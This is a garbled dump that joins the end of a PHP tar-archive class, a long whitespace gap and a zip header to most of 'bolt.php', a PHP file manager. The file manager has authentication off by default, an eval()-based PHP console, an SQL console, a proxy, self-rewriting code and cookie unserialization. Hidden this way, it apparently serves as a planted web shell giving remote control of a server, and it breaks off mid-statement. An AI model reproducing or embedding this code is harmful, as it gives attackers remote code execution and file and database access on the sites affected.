		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
